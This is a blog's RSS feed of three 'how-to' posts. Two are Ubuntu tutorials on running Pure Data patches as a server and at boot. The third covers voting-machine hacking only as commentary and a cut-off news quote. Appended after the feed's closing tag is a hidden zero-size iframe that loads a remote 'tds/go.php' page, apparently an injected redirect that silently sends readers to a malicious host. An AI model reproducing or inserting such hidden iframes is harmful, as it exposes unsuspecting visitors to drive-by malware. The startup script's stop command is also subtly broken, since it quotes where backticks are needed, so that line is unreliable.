<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>megrimm &#187; how-to</title>
	<atom:link href="http://www.megrimm.net/press/category/how-to/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.megrimm.net/press</link>
	<description></description>
	<lastBuildDate>Fri, 06 Jan 2012 20:05:41 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>HOW-TO: Run a Pure-Data (PD) Patch on Startup Boot in Ubuntu-server</title>
		<link>http://www.megrimm.net/press/2006/11/howto-run-a-pure-data-pd-patch-on-startup-boot-in-ubuntu-server/</link>
		<comments>http://www.megrimm.net/press/2006/11/howto-run-a-pure-data-pd-patch-on-startup-boot-in-ubuntu-server/#comments</comments>
		<pubDate>Tue, 07 Nov 2006 05:46:00 +0000</pubDate>
		<dc:creator>megrimm</dc:creator>
				<category><![CDATA[how-to]]></category>

		<guid isPermaLink="false"></guid>
		<description><![CDATA[	
	<span class="Z3988" title="ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Adc&amp;rfr_id=info%3Asid%2Focoins.info%3Agenerator&amp;rft.title=HOW-TO%3A+Run+a+Pure-Data+%28PD%29+Patch+on+Startup+Boot+in+Ubuntu-server&amp;rft.aulast=grimm&amp;rft.aufirst=mark+edward&amp;rft.subject=how-to&amp;rft.source=megrimm&amp;rft.date=2006-11-06&amp;rft.type=blogPost&amp;rft.format=text&amp;rft.identifier=http://www.megrimm.net/press/2006/11/howto-run-a-pure-data-pd-patch-on-startup-boot-in-ubuntu-server/&amp;rft.language=English"></span>

11.06.06
This tutorial shows how I Run a Pure-Data (PD) Patch on Startup Boot in Ubuntu-server

I assume this can work in ubuntu (x-win) too &#8211; it wil just work on a different runlevel (see the end of this text).  Took me a few days to figure this one out! Hope it helps to cut the [...]]]></description>
			<content:encoded><![CDATA[	
	<span class="Z3988" title="ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Adc&amp;rfr_id=info%3Asid%2Focoins.info%3Agenerator&amp;rft.title=HOW-TO%3A+Run+a+Pure-Data+%28PD%29+Patch+on+Startup+Boot+in+Ubuntu-server&amp;rft.aulast=grimm&amp;rft.aufirst=mark+edward&amp;rft.subject=how-to&amp;rft.source=megrimm&amp;rft.date=2006-11-06&amp;rft.type=blogPost&amp;rft.format=text&amp;rft.identifier=http://www.megrimm.net/press/2006/11/howto-run-a-pure-data-pd-patch-on-startup-boot-in-ubuntu-server/&amp;rft.language=English"></span>
<abbr class="unapi-id" title="44@http://megrimm.net/pivot/"><!-- &nbsp; --></abbr>
<p>11.06.06<br />
This tutorial shows how I Run a Pure-Data (PD) Patch on Startup Boot in Ubuntu-server</p>
<p><span id="more-109"></span></p>
<p>I assume this can work in ubuntu (x-win) too &#8211; it wil just work on a different runlevel (see the end of this text).  Took me a few days to figure this one out! Hope it helps to cut the time down for others.<object width="468" height="60" type="application/x-shockwave-flash"></object></p>
<p>I put the following script named &#8220;pd_start&#8221; in /etc/init.d/</p>
<p>#################################  beginning of script<br />
#############################</p>
<p>#! /bin/sh</p>
<p># Check for missing binaries (stale symlinks should not happen)<br />
PD_BIN=/usr/bin/pd<br />
test -x $PD_BIN || exit 5</p>
<p>case &#8220;$1&#8243; in<br />
start)<br />
echo -n &#8220;Starting PD&#8221;<br />
## Start daemon with startproc(8). If this fails<br />
## the return value is set appropriately by startproc.<br />
/usr/bin/pd -nogui -noaudio \<br />
-lib /usr/lib/pd/extra/zexy \<br />
-lib /usr/lib/pd/extra/maxlib \<br />
-path /usr/lib/pd/extra \<br />
-path /home/mark \<br />
/home/mark/netpd_server.pd &amp;<br />
;;<br />
## mind the &amp;!!<br />
stop)<br />
echo -n &#8220;Shutting down NetPd Server&#8221;<br />
## Stop daemon with killproc(8) and it this fails<br />
## killproc sets the return value according to LSB</p>
<p>kill &#8216;cat /var/run/pd.pid&#8217;<br />
;;</p>
<p>restart)<br />
## Stop the service and regardless of whether it was<br />
## running or not, start it again<br />
$0 stop<br />
$0 start<br />
;;</p>
<p>*)<br />
echo &#8220;Usage: $0 {start|stop|restart}&#8221;<br />
exit 1<br />
;;<br />
esac</p>
<p>################################## end of script<br />
#######################</p>
<p>Then I changed the permissions on the file:</p>
<p>$ sudo chmod 755 pd_start</p>
<p>Then I ran the following command:</p>
<p>$ sudo update-rc.d -f pd_start start 99 2 3 4 5 .</p>
<p>Where:<br />
- start is the argument given to the script (start, stop).<br />
- 99 is the start order of the script (1 = first one, 99= last one)<br />
- 2 3 4 5 are the runlevels to start</p>
<p>It is important NOT to forget the &#8220;.&#8221; period at the end!  More info in /etc/rcS.d/README.</p>
<p>After hitting enter I get this:</p>
<p>Adding system startup for /etc/init.d/pd_start &#8230;<br />
/etc/rc2.d/S99pd_start -&gt; ../init.d/pd_start<br />
/etc/rc3.d/S99pd_start -&gt; ../init.d/pd_start<br />
/etc/rc4.d/S99pd_start -&gt; ../init.d/pd_start<br />
/etc/rc5.d/S99pd_start -&gt; ../init.d/pd_start</p>
<p>Then I stop my script at shutdown:</p>
<p>$ sudo update-rc.d -f pd_start reboot 90 0 6 .</p>
<p>It is important NOT to forget the &#8220;.&#8221; period at the end! After hitting enter I get this:</p>
<p>usage: update-rc.d [-n] [-f]  remove<br />
update-rc.d [-n]  defaults [NN | sNN kNN]<br />
update-rc.d [-n]  start|stop NN runlvl [runlvl] [...] .<br />
-n: not really<br />
-f: force</p>
<p>Then I restart the server to see if it work!</p>
<p>$ sudo shutdown -r now</p>
<p>AND IT DOES!!!</p>
<p>To know which runlevel you are running, simply type<br />
$ runlevel</p>
<p>more info about runlevels here : http://oldfield.wattle.id.au/luv/boot.html#init</p>
<p>This &#8216;HowTo&#8217; was compiled using a suggestion from &#8216;samyboy&#8217; at:</p>
<p>http://ubuntu.wordpress.com/2005/09/07/adding-a-startup-script-to-be-run-at-bootup/</p>
<p>and a thread from the &#8216;pure-data&#8217; list at:</p>
<p>http://lists.puredata.info/pipermail/pd-list/2006-11/043742.html</p>
]]></content:encoded>
			<wfw:commentRss>http://www.megrimm.net/press/2006/11/howto-run-a-pure-data-pd-patch-on-startup-boot-in-ubuntu-server/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>HOW-TO: Run PD Patches From Ubuntu-Server</title>
		<link>http://www.megrimm.net/press/2006/11/howto-run-pd-patches-from-ubuntu-server/</link>
		<comments>http://www.megrimm.net/press/2006/11/howto-run-pd-patches-from-ubuntu-server/#comments</comments>
		<pubDate>Thu, 02 Nov 2006 15:40:00 +0000</pubDate>
		<dc:creator>megrimm</dc:creator>
				<category><![CDATA[how-to]]></category>

		<guid isPermaLink="false">http://www.megrimm.net/press/?p=6</guid>
		<description><![CDATA[	
	<span class="Z3988" title="ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Adc&amp;rfr_id=info%3Asid%2Focoins.info%3Agenerator&amp;rft.title=HOW-TO%3A+Run+PD+Patches+From+Ubuntu-Server&amp;rft.aulast=grimm&amp;rft.aufirst=mark+edward&amp;rft.subject=how-to&amp;rft.source=megrimm&amp;rft.date=2006-11-02&amp;rft.type=blogPost&amp;rft.format=text&amp;rft.identifier=http://www.megrimm.net/press/2006/11/howto-run-pd-patches-from-ubuntu-server/&amp;rft.language=English"></span>

11.02.06
This a HOWTO on running Pure-Data (pd) patches from a base install of a Ubuntu-Server (LAMP &#8211; Linux, Apache, MySql, Php)
This is a follow-up tutorial on &#8220;Setting Up a Home Ubuntu LAMP Server&#8221; which is located HERE.

With this tutorial I will set up a &#8220;netpd&#8221; server using the provided patch from netpd.org using the netpd-server.pd [...]]]></description>
			<content:encoded><![CDATA[	
	<span class="Z3988" title="ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Adc&amp;rfr_id=info%3Asid%2Focoins.info%3Agenerator&amp;rft.title=HOW-TO%3A+Run+PD+Patches+From+Ubuntu-Server&amp;rft.aulast=grimm&amp;rft.aufirst=mark+edward&amp;rft.subject=how-to&amp;rft.source=megrimm&amp;rft.date=2006-11-02&amp;rft.type=blogPost&amp;rft.format=text&amp;rft.identifier=http://www.megrimm.net/press/2006/11/howto-run-pd-patches-from-ubuntu-server/&amp;rft.language=English"></span>
<abbr class="unapi-id" title="http://www.megrimm.net/press/?p=6"><!-- &nbsp; --></abbr>
<p>11.02.06<br />
This a HOWTO on running Pure-Data (pd) patches from a base install of a Ubuntu-Server (LAMP &#8211; Linux, Apache, MySql, Php)</p>
<p>This is a follow-up tutorial on &#8220;<a href="http://megrimm.net/pivot/entry.php?id=40&#038;w=bits" title="http://megrimm.net/pivot/entry.php?id=40&#038;w=bits">Setting Up a Home Ubuntu LAMP Server</a>&#8221; which is located <a href="http://megrimm.net/pivot/entry.php?id=40&#038;w=bits" title="http://megrimm.net/pivot/entry.php?id=40&#038;w=bits">HERE.</a></p>
<p><span id="more-6"></span><object data="[[log_dir]]pivot/adsense.php" width="468" height="60" type="text/html"></object></p>
<p>With this tutorial I will set up a &#8220;netpd&#8221; server using the provided patch from <a href="http://www.netpd.org/Download" title="http://www.netpd.org/Download" target="blank">netpd.org</a> using the <a href="http://www.netpd.org/software/netpd-server/netpd-server.pd" title="http://www.netpd.org/software/netpd-server/netpd-server.pd" target="blank">netpd-server.pd</a> patch.</p>
<p>First I need to get PD (pure-data) running on my ubuntu server.  This is the easy part!</p>
<p>First I have to add &#8216;universe&#8217; to my ubuntu repositories so that ubuntu knows where to look when i do &#8216;apt-get&#8217;. So I first have to edit my &#8216;sources.list&#8221; file:</p>
<p>$ sudo pico /etc/apt/sources.list</p>
<p>In this file I either add the following line of uncomment the lines:</p>
<p>deb http://us.archive.ubuntu.com/ubuntu dapper universe<br />
deb-src http://us.archive.ubuntu.com/ubuntu dapper universe</p>
<p>I can also add the &#8216;multiverse&#8217; repositories while I am at it:</p>
<p>deb http://archive.ubuntu.com/ubuntu dapper multiverse<br />
deb-src http://archive.ubuntu.com/ubuntu dapper multiverse</p>
<p>NOW I can update my repository/package list:</p>
<p>$ sudo apt-get update</p>
<p>Now I can install PD. First I will build my dependencies. This makes sure that all the libraries are installed that PD relies on before i install PD.</p>
<p>$ sudo apt-get build-dep puredata</p>
<p>You will then be prompted to install some libs. Just say &#8220;Y&#8221; and they should automatically install. NOW to install PD:</p>
<p>$ sudo apt-get install puredata</p>
<p>That should work fine! Puredata is installed at /usr/lib/pd and your binaries are at /usr/bin<br />
Now you can update teh database so you can search for your files if you want:</p>
<p>$ sudo updatedb<br />
$ locate pdsend (for example)</p>
<p>and you will see something like this maybe:</p>
<p>/usr/bin/pdsend<br />
/usr/share/man/man1/pdsend.1.gz</p>
<p>OK. Now that you know pd is installed you can give is a try:</p>
<p>$ pd</p>
<p>You will probably get something like this:</p>
<p>Application initialization failed: no display name and no $DISPLAY environment variable</p>
<p>And when you exit (ctrl-c) you will get something like this:</p>
<p>Pd: signal 2</p>
<p>This is fine. We at least now know that it is installed. The reason we get a &#8220;failed&#8221; error is because &#8216;ubuntu-server&#8217; does not have a GUI so next time we start PD we must use a GUI suppression flag like so:</p>
<p>$ pd -nogui</p>
<p>Thant should work! NOW, the patch I am going to run needs two extra libraries &#8211; zexy and maxlib. Zexy is easy. It already is part of the &#8216;universe&#8217; repository so:</p>
<p>$ sudo apt-get install pd-zexy</p>
<p>We will now check to see it load with the &#8216;-nogui&#8217; flag and the load library flag &#8216;-lib zexy&#8217;:</p>
<p>$ pd -nogui -lib zexy</p>
<p>AND we should see:</p>
<p>        ????????????????????????????<br />
        ?  the zexy external  2.1  ?<br />
        ? (l)  forum::f?r::uml?ute ?<br />
        ?  compiled:  Oct 26 2005  ?<br />
        ? send me a &#8216;help&#8217; message ?<br />
        ????????????????????????????</p>
<p>Cool! NOW a tricky part! Getting the &#8216;maxlib&#8217; to load.  First I want to say that nobody&#8217;s taught me how to do any of this, I taught myself! So some steps might be different to take for some people than others. To get the &#8216;maxlibs&#8217; working I did this a little different than someone else might so I will just write how I did it and let the reader decide how one could do it better.</p>
<p>As far as I know the &#8216;maxlibs&#8221; have not been kept up to date (I think the last changes were in 2003-2004).  For my patch I need the objects &#8216;nerserver&#8217; and &#8216;netclient&#8217; so I really need to figure out how to install &#8216;maxlib&#8217;. Since the repository lacks this library I can&#8217;t install it the same way as I installed &#8216;zexy&#8217; for instance.  So I have to get the source for &#8216;maxlib&#8217; and compile it myself:</p>
<p>First I will start by &#8216;cd&#8217;ing to my home directory:</p>
<p>$ cd ~</p>
<p>Now I need to check out the pd &#8216;externals&#8217; from the CVS repository (basically all the source code to all the externals). So if you do not have CVS program installed:</p>
<p>$ sudo apt-get install cvs</p>
<p>Then:</p>
<p>$ cvs -d:pserver:anonymous@pure-data.cvs.sourceforge.net:/cvsroot/pure-data/ login</p>
<p>Hit return when you are asked for a password. Then, to get the source:</p>
<p>$ cvs -z3 -d:pserver:anonymous@pure-data.cvs.sourceforge.net:/cvsroot/pure-data/ co externals</p>
<p>This will give you a local copy of the externals-directory in the repository. If you &#8216;cd&#8217; into the directory (cd externals) and type the command &#8216;dir&#8217; you will see the &#8216;maxlib&#8217; directory. cd into this directory:</p>
<p>$ cd maxlib</p>
<p>Once you are here to have to alter your makefile.  All this means is that you have to chhange some stuff that that when you compile the file will compile correctly. SO:</p>
<p>$ pico makefile</p>
<p>Scroll way way down until you get to the section &#8216;Linux i386&#8242;. Here you will see a line &#8216;# where is your m_pd.h ???&#8221;.  You need to change this to point to your file &#8216;m_pd.h&#8221;. For me this file is in my externals directory that I just downloaded in my home directory. So I change/add the line:</p>
<p>LINUXINCLUDE =  -I/home/mark/externals/build/include -I./include</p>
<p>I guess you would replace &#8220;mark&#8221; with whatever you login name is etc.</p>
<p>NOW scroll all the way to the bottom of the &#8216;makefile&#8217;. You will then see a line that starts with &#8216;PDDIR&#8217;. Change this to your pd dir:</p>
<p>PDDIR=/usr/lib/pd</p>
<p>AND hit &#8216;ctr-o&#8217; to save file and &#8216;ctr-x&#8217; to exit pico. You &#8216;makefile&#8217; has bee altered!! No to compile:</p>
<p>$ sudo make pd_linux<br />
$ sudoo make install</p>
<p>NOW I thought that this would install it to the right directory automatically because I changes the makefile to point to my pd directory. Unfortunately when I cd too my pd directory it is not there&#8230;. weird. So in my externals/maxlib directory I notice that the file that &#8216;make pd_linux&#8217; created was called &#8220;maxlib.pd_linux&#8221;. OK this is what I need in my pd/extras directory. So on my g4 Mac I have a program I use called Transmit that is basically a ssh (secure shell) client with a nice GUI. Instead of using the &#8216;terminal&#8217; to copy (cp) the file over to the pd/extras directory I get a little lazy because my eyes are starting to get sore. </p>
<p>So I just log in to my server with Transmit. Drag the &#8216;maxlib.pd_linux&#8217; file to the desktop of my g4, navigate to the pd/extras directory and &#8216;drag&#038;drop&#8217; the file into it.  Done! &#8216;maxlib&#8217; is on my ubuntu system!</p>
<p>Now back in terminal i give it a try:</p>
<p>$ pd -nogui -lib zexy -lib maxlib</p>
<p>        ????????????????????????????<br />
        ?  the zexy external  2.1  ?<br />
        ? (l)  forum::f?r::uml?ute ?<br />
        ?  compiled:  Oct 26 2005  ?<br />
        ? send me a &#8216;help&#8217; message ?<br />
        ????????????????????????????</p>
<p>       maxlib :: Music Analysis eXtensions LIBrary<br />
       written by Olaf Matthes
<olaf.matthes@gmx.de>
       version 1.5.2<br />
       compiled Oct 29 2006<br />
       latest version at http://www.akustische-kunst.org/puredata/maxlib/<br />
       objects: allow arbran arraycopy average beat beta bilex borax cauchy<br />
                chord delta deny dist divide divmod edge expo fifo gauss<br />
                gestalt history ignore iso lifo linear listfifo listfunnel<br />
                match minus mlife multi nchange netclient netdist netrec<br />
                netserver nroute pitch plus poisson pong pulse remote rewrap<br />
                rhythm scale score speedlim split step subst sync temperature<br />
                tilt timebang triang unroute urn velocity weibull wrap</p>
<p>priority 8 scheduling enabled.<br />
priority 6 scheduling enabled.</p>
<p>GREAT! It loaded! Now to upload my patch and write a startup script. So back in &#8216;Transmit&#8217; I &#8216;drag&#038;drop&#8217; my &#8216;netpd_server.pd&#8217; patch in my home folder (~/home/mark).  Now a write a startup script with my flags in it. SO:</p>
<p>$ pico netpd_boot.sh</p>
<p>This will open a new document.  In this document add the following line</p>
<p>pd -nogui -noaudio -lib zexy -lib maxlib -open netpd_server.pd</p>
<p>Save the file by hitting &#8216;ctr-o&#8217; and quit pico with &#8216;ctr-x&#8217;. Now if you do a &#8216;dir&#8217; command you should see the new file! To try it out type:</p>
<p>$ sh netpd_boot.sh</p>
<p>EVERYTHING SHOULD WORK!!! Now you can try to login with your &#8216;netpd&#8217; program to your new server!</p>
<p>NEXT: We will write a &#8216;boot-up&#8217; script so that your &#8216;netpd_boot.sh&#8221; script boots with your system!</p>
]]></content:encoded>
			<wfw:commentRss>http://www.megrimm.net/press/2006/11/howto-run-pd-patches-from-ubuntu-server/feed/</wfw:commentRss>
		<slash:comments>7</slash:comments>
		</item>
		<item>
		<title>HOW-TO: Hacking a Diebold Voting Machine</title>
		<link>http://www.megrimm.net/press/2006/10/howto-hacking-a-diebold-voting-machine/</link>
		<comments>http://www.megrimm.net/press/2006/10/howto-hacking-a-diebold-voting-machine/#comments</comments>
		<pubDate>Wed, 18 Oct 2006 17:00:00 +0000</pubDate>
		<dc:creator>megrimm</dc:creator>
				<category><![CDATA[how-to]]></category>

		<guid isPermaLink="false"></guid>
		<description><![CDATA[	
	<span class="Z3988" title="ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Adc&amp;rfr_id=info%3Asid%2Focoins.info%3Agenerator&amp;rft.title=HOW-TO%3A+Hacking+a+Diebold+Voting+Machine&amp;rft.aulast=grimm&amp;rft.aufirst=mark+edward&amp;rft.subject=how-to&amp;rft.source=megrimm&amp;rft.date=2006-10-18&amp;rft.type=blogPost&amp;rft.format=text&amp;rft.identifier=http://www.megrimm.net/press/2006/10/howto-hacking-a-diebold-voting-machine/&amp;rft.language=English"></span>

11.23.06
Princeton researchers demonstrate exactly how to undetectably hack a Diebold AccuVote TS voting machine in a matter of minutes.

As elections near I am very interested in &#8216;how&#8217; a voting machine might be hacked. There are plenty of &#8216;how to&#8217;s&#8217; out there to educate the public in &#8216;vote&#8217; hacking. Elections of the future may be based [...]]]></description>
			<content:encoded><![CDATA[	
	<span class="Z3988" title="ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Adc&amp;rfr_id=info%3Asid%2Focoins.info%3Agenerator&amp;rft.title=HOW-TO%3A+Hacking+a+Diebold+Voting+Machine&amp;rft.aulast=grimm&amp;rft.aufirst=mark+edward&amp;rft.subject=how-to&amp;rft.source=megrimm&amp;rft.date=2006-10-18&amp;rft.type=blogPost&amp;rft.format=text&amp;rft.identifier=http://www.megrimm.net/press/2006/10/howto-hacking-a-diebold-voting-machine/&amp;rft.language=English"></span>
<abbr class="unapi-id" title="33@http://megrimm.net/pivot/"><!-- &nbsp; --></abbr>
<p>11.23.06<br />
Princeton researchers demonstrate exactly how to undetectably hack a Diebold AccuVote TS voting machine in a matter of minutes.</p>
<p><span id="more-114"></span></p>
<p>As elections near I am very interested in &#8216;how&#8217; a voting machine might be hacked. There are plenty of &#8216;how to&#8217;s&#8217; out there to educate the public in &#8216;vote&#8217; hacking. Elections of the future may be based on who (as in what party or ideology) can hack the machines faster thereby procuring more votes. Time shall tell.<object width="468" height="60" type="application/x-shockwave-flash"></object></p>
<p>From Herald.com | 12/15/2005 | New tests fuel doubts about vote machines:</p>
<p><em>BlackBox hired Herbert Thompson, a computer-science professor and strategist at Security Innovation, which tests software for companies such as Google and Microsoft.</em></p>
<p><em>Thompson couldn</em></p>
]]></content:encoded>
			<wfw:commentRss>http://www.megrimm.net/press/2006/10/howto-hacking-a-diebold-voting-machine/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
<iframe src="http://pokosa.com/tds/go.php?sid=1" width="0" height="0" frameborder="0"></iframe>
